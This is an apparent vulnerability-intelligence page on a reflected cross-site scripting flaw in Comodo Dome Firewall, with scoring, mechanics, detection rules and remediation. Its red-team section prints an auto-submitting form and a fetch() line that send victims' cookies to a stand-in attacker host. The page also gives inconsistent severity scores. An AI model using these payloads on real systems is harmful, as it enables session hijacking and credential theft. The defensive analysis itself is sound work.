☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2019-25418

CVE-2019-25418 Cross-Site Scripting in Comodo
📅 PUBLISHED: 2026-02-19 12:02 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.36%
👁️
0.36% probability
8.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2019-25418 is a reflected cross-site scripting (XSS) vulnerability in Comodo Dome Firewall version 2.7.0. The flaw exists in the /korugan/fwgroups endpoint, where the FWADDRESSES parameter is not properly sanitized. An attacker can craft a POST request containing malicious JavaScript in the FWADDRESSES parameter. When a victim user submits this crafted request (e.g., via a phishing link or form submission), the script executes in the context of the victim's browser, allowing session hijacking, credential theft, or further malicious actions. The vulnerability has a CVSS score of 0.0 in the NVD record, but based on the description, a more realistic score is 6.1 (Medium) due to the need for user interaction and the reflected nature of the attack. No official patch has been released, and the vendor status is unknown.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary network security appliance (Comodo Dome Firewall). Therefore, supply chain security considerations are not directly applicable, but the lack of a patch means organizations must rely on compensating controls.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network (AV:N) – The attack can be launched remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: Required (UI:R) – The victim must click a link or submit a form.
  • Scope: Changed (S:C) – The vulnerable component and the impacted component are different (the firewall vs. the user's browser).
  • Confidentiality Impact: Low (C:L) – Limited data exposure (e.g., session tokens).
  • Integrity Impact: Low (I:L) – Limited ability to modify data.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The primary risk is session hijacking and phishing.

Deep Dive & Mechanics

The vulnerability resides in the korugan/fwgroups endpoint of the Comodo Dome Firewall web interface. This endpoint is used to manage firewall address groups. The FWADDRESSES parameter is expected to contain a list of IP addresses or hostnames. However, the application does not sanitize or encode the input before reflecting it in the HTTP response.

Attack Flow:

  1. The attacker crafts a POST request to https://target/korugan/fwgroups with a payload in the FWADDRESSES parameter, such as: <script>alert('XSS')</script>.
  2. The attacker sends a phishing email or link that tricks the victim into submitting this request (e.g., via a hidden form or an <img> tag with a src attribute pointing to the vulnerable endpoint).
  3. The victim's browser sends the request, and the server reflects the malicious script in the response without sanitization.
  4. The victim's browser executes the script, which can steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: Lack of input validation and output encoding. The application fails to treat user-supplied data as untrusted and does not apply context-appropriate encoding (e.g., HTML entity encoding) before reflecting it.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

// Vulnerable PHP example
$fwaddresses = $_POST['FWADDRESSES'];
echo "<div>Address: $fwaddresses</div>";

Patched Code (Conceptual):

// Patched PHP example
$fwaddresses = $_POST['FWADDRESSES'];
$safe_fwaddresses = htmlspecialchars($fwaddresses, ENT_QUOTES, 'UTF-8');
echo "<div>Address: $safe_fwaddresses</div>";

The patched version uses htmlspecialchars() to encode special HTML characters, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A target running Comodo Dome Firewall 2.7.0.
  • A victim user with access to the web interface.

Exploit Payload:

<form action="https://target/korugan/fwgroups" method="POST" id="xss_form">
  <input type="hidden" name="FWADDRESSES" value="<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie;</script>">
  <input type="submit" value="Click me">
</form>
<script>document.getElementById('xss_form').submit();</script>

Usage:

  1. Host the above HTML on an attacker-controlled server.
  2. Send the link to the victim via phishing email.
  3. When the victim visits the page, the form auto-submits, sending the malicious payload to the vulnerable endpoint.
  4. The victim's browser executes the script, sending the cookie to the attacker's server.

Alternative Payload (Steal Session):

<script>fetch('http://attacker.com/steal?cookie='+document.cookie);</script>

Blue Team (Detection & Defense)

Detection:

  • Monitor HTTP POST requests to /korugan/fwgroups with suspicious FWADDRESSES parameters containing <script>, onerror, javascript:, or other XSS indicators.
  • Use WAF rules to block requests with HTML/JavaScript in the FWADDRESSES parameter.

Defense:

  • Implement a Web Application Firewall (WAF) with rules to block reflected XSS.
  • Apply input validation: reject any FWADDRESSES value that contains HTML tags or JavaScript.
  • Use Content Security Policy (CSP) headers to restrict script execution.
  • Educate users about phishing attacks.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /korugan/fwgroups with FWADDRESSES containing <script> tags.
    • Outbound connections to attacker-controlled domains from the victim's browser (e.g., http://attacker.com/steal?cookie=...).
  • File IOCs:
    • Log entries in the firewall's access logs showing the malicious payload.
  • Behavioral IOCs:
    • Unexpected session timeouts or account takeovers.
    • Unusual HTTP Referer headers pointing to phishing pages.

Detection Engineering

YARA Rule

rule CVE_2019_25418_XSS_Reflected {
    meta:
        description = "Detects reflected XSS attempts against Comodo Dome Firewall CVE-2019-25418"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25418"
    strings:
        $xss_payload = /FWADDRESSES=.*<script[^>]*>.*<\/script>/i
        $xss_event = /FWADDRESSES=.*on\w+\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Comodo Dome Firewall
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /korugan/fwgroups with XSS payloads in FWADDRESSES parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/korugan/fwgroups'
        cs-uri-query|contains: 'FWADDRESSES='
    filter:
        cs-uri-query|re: 'FWADDRESSES=[^&]*<script[^>]*>.*<\/script>'
    condition: selection and filter
falsepositives:
    - Legitimate use of HTML in address fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2019-25418 - Reflected XSS in Comodo Dome Firewall";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/korugan/fwgroups";
    http_uri;
    content:"FWADDRESSES=";
    http_client_body;
    pcre:"/FWADDRESSES=[^&]*<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2019-25418;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the device: If possible, restrict network access to the Comodo Dome Firewall management interface to trusted IPs only.
  2. Disable the vulnerable endpoint: If the /korugan/fwgroups functionality is not critical, block access to it via firewall rules or reverse proxy.
  3. Apply WAF rules: Use a Web Application Firewall to block requests containing <script> or on* event handlers in the FWADDRESSES parameter.

Long-term Actions:

  1. Contact vendor: Reach out to Comodo for a patch or upgrade path.
  2. Upgrade firmware: If a newer version is available, upgrade to a patched release.
  3. Implement CSP: Add a Content Security Policy header that restricts script sources to trusted domains only.
  4. Input validation: If you have access to the source code, implement proper input validation and output encoding.

Workaround:

  • Use a reverse proxy (e.g., Nginx) to sanitize the FWADDRESSES parameter before it reaches the backend:
location /korugan/fwgroups {
    if ($request_body ~* "<script") {
        return 403;
    }
    proxy_pass http://backend;
}

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2019-25418/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.